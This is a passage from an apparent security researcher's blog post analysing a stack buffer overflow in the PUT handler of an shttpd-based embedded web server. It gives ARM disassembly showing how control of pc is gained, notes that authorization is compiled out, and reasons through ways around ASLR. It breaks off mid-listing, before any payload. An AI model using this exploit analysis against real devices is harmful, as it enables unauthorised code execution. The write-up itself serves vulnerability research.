0x0007d8a4 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;18708de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;24&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x18&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000ff;&quot;&gt;0x0007d8a8&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &amp;#160; &amp;#160;9c809fe5 &amp;#160; &amp;#160; &amp;#160; &amp;#160; ldr r8&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;pc&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;156&lt;/span&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x0007d94c; =&amp;gt; 0xffffefa8 &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8ac &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0060a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r6&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r0&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8b0 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;187047e2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;sub&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;24&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x18&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8b4 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;023080e2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; r3&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x2&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8b8 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;2f10a0e3 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r1&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;47&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x2f&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8bc &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0300a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r3&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8c0 &amp;#160; &amp;#160;0&amp;gt; &amp;#160; fd34feeb &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f;&quot;&gt;bl&lt;/span&gt; imp&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;strchr&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; imp.strchr() [1]&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000ff;&quot;&gt;0x0007d8c4&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000ff;&quot;&gt;005050e2&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; subs r5&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x0&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8c8 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;054066e0 &amp;#160; &amp;#160; &amp;#160; &amp;#160; rsb r4&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r6&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r5&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8cc &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0610a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r1&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r6&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8d0 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0420a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r2&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r4&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8d4 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0d00a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8d8 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;1400000a &amp;#160; &amp;#160; &amp;#160; &amp;#160; beq 0x0007d930 &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;2&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8dc &amp;#160; &amp;#160;0&amp;gt; &amp;#160; 3e35feeb &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f;&quot;&gt;bl&lt;/span&gt; imp&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;memcpy&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
As we can see, we see nothing. In particular, no comparison and no call to __assert_fail.&lt;br /&gt;
So we&#039;re lucky, looks like we found our candidate for code execution. A pretty simple standard buffer overflow.&lt;br /&gt;
Interestingly, the shttpd Makefile even mentions -NDEBUG in order to save ~5kB binary size (remember, this is an embedded device).&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at how put_dir returns so we can get control over the program flow.&lt;br /&gt;
At the function entry registers r4-r7 and the link-register are pushed onto the stack.&lt;br /&gt;
Leaving looks similar with the difference that the link-register isn&#039;t used, but the return value is directly popped into pc.&lt;br /&gt;
&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x0000b454&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pD 12@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;put_dir&lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt;140&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d924 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;58d08de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;88&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x58&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d928 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;01da8de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;4096&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x1000&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d92c &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;f081bde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;r4&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r5&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r6&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r8&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; pc&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
The pc register is equivalent to EIP on x86 with the difference that you can directly read and write to it. &lt;br /&gt;
As it is popped from our overflown stack-buffer, this would give us direct control over the program flow.&lt;br /&gt;
&lt;br /&gt;
Now the interesting question was, does wsal also support this request type or is it not calling this function?&lt;br /&gt;
&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x0000b454&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pw 48@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;known_http_methods&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;0x0008ea90 &amp;#160;0x0008e704 0x00000003 0x0008e708 0x00000004 &amp;#160;&lt;span style=&quot;color: #339933;&quot;&gt;................&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;0x0008ead0 &amp;#160;0x0008e710 0x00000003 0x0008266c 0x00000006 &amp;#160;&lt;span style=&quot;color: #339933;&quot;&gt;........&lt;/span&gt;l&amp;amp;&lt;span style=&quot;color: #339933;&quot;&gt;......&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;0x0008eb10 &amp;#160;0x0008e714 0x00000004 0x00000000 0x00000000 &amp;#160;&lt;span style=&quot;color: #339933;&quot;&gt;................&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x0000b454&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # here we can already see that &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;this&lt;/span&gt; is the vec &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;struct&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x0000b454&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # lets look &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;for&lt;/span&gt; PUT&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;0x0000b454&lt;/span&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; ps @&lt;span style=&quot;color: #0000ff;&quot;&gt;0x0008e710&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;PUT&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
This made it clear that the wsal binary also supports PUT. &lt;br /&gt;
Looking at shttpd.c, it seems that PUT as well as DELETE should only be enabled for authorized users (which probably wouldn&#039;t be a big problem), but funnily the Makefile also states: &lt;strong&gt;# -DNO_AUTH - disable authorization support (-4kb)&lt;/strong&gt; which was of course also set by wsal &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Exploitation:&lt;/strong&gt;&lt;br /&gt;
Exploitation of this seemed rather straight forward given the nature of this bug.&lt;br /&gt;
The stack was marked non-executable in the ELF binary, but fortunately the ARMv5 doesn&#039;t support the XN bit yet.&lt;br /&gt;
However, experimenting with this bug I noticed fairly quickly that &lt;strong&gt;ASLR&lt;/strong&gt; is enabled on the device and our stack  address is randomized.&lt;br /&gt;
As a result, I couldn&#039;t just place my shellcode into buf and jump right to it.&lt;br /&gt;
&lt;a href=&quot;http://en.wikipedia.org/wiki/Return-oriented_programming&quot;&gt;ROP&lt;/a&gt; would&#039;ve been an option, but as my ARM knowledge was limited before playing with this bug, I didn&#039;t like this option (even though as we will see, I need it anyway, but not for the actual payload).&lt;br /&gt;
&lt;a href=&quot;http://en.wikipedia.org/wiki/Return-to-libc_attack&quot;&gt;Return-to-libc&lt;/a&gt;, by e.g. returning to system(), was no interesting option either, as the there is no network binary such as netcat installed on the box.&lt;br /&gt;
&lt;br /&gt;
So I had to find something else. And as it turned out, the support for &lt;strong&gt;heap randomization&lt;/strong&gt; as well as library randomization starts pretty late on ARM. As Kees &lt;a href=&quot;http://www.outflux.net/blog/archives/2009/11/24/missing-kernel-features-in-arm/#comment-1107&quot;&gt;points out&lt;/a&gt; this started in 2.6.37.&lt;br /&gt;
This nails down one possible problem. As path was not the original request buffer, but only a copy of it, I started looking for copies of my input or the possibility to put the payload somewhere else (e.g. a POST body, HTTP headers...).&lt;br /&gt;
&lt;br /&gt;
First, I checked where path is coming from (shttpd.c/decide_what_to_do()):&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;void&lt;/span&gt; decide_what_to_do&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; conn &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;c&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;path&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;URI_MAX&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; buf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;1024&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;root&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #202020;&quot;&gt;url_decode&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; strlen&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; strlen&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; 1&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; remove_double_dots&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;strlen&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; strlen&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;root&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;path&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; send_server_error&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;URI is too long&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: 